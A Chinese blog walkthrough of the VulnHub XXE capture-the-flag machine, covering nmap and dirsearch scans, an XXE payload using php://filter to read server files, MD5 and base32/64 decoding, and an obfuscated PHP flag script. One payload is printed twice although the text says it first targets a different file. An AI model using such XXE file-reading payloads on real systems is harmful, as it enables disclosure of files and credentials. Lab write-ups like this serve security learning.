vulnhub-XXE靶机过关记录
准备工作
在vulnhub官网下载xxe靶机
导入虚拟机
开始进行渗透测试
信息收集
首先打开kali,设置成NAT模式
查看本机ip地址
利用端口扫描工具nmap进行探测扫描
nmap -sS 192.168.200.6/24
(这里也可以先用nmap -sP 192.168.200.6/24 进行Ping扫描,然后再通过判断靶机的ip地址用nmap -sV 192.168.200.xxx进行端口的扫描)
扫描后可以看出只有192.168.200.9开放了80端口,大概率的可以判断192.168.200.9就是靶机的ip地址
用浏览器打开后是这样的界面
什么信息也没有,二话不说直接用扫描工具dirsearch开始扫描
dirsearch -u http://192.168.200.9/
扫到一个robots.txt文件,访问得到:
注意到xxe,直接访问得到一个登陆界面
开始注入
抓个包看看
格式很明显是xml
尝试使用xml注入来访问xxe.php文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>
解码得
没有什么有用得信息,尝试读取一下刚刚在robots.txt文件中看到得admin.php
解码得到了账号administhebest 和 md5加密的密码
在md5解密网站解到对应的密码为admin@123
在192.168.200.9/xxe/的登陆框中输入账号密码还是提示不存在
后面意识到刚刚我读取的是admin.php的源码
于是访问192.168.200.9/xxe/admin.php发现还有另一个登陆界面
在这里登陆刚刚得到的账号密码
登陆后得到一个flag的跳转连接,点开后什么都没有
再次尝试读取flagmeout.php文件,这里要注意的是,因为flagmeout.php文件是在根目录中,所以读取这个文件时需要访问xxe.php文件的上一级目录,加上一个./
读取文件后解码得到flag,但是还是加密的格式,看起来应该是base32加密
JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
base32解码后
L2V0Yy8uZmxhZy5waHA=
base64再次解码后得到
/etc/.flag.php
得到flag.php的目录后,直接再次读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>
再经过base64解码得
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$Ã=+_;$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=++$Ã[];$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$__('$_="'.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.'"');$__($_);
一串乱码无从下手,在网上查阅了资料发现,我现在读取得文件是php文件,而$是php的代码部分,说明这串代码就是php代码,拉去运行一下
这里我在在线运行网站运行了php,得到以下结果拿到flag
本文来自博客园,作者:1_Ry,转载请注明原文链接:https://www.cnblogs.com/1-Ry/p/15035562.html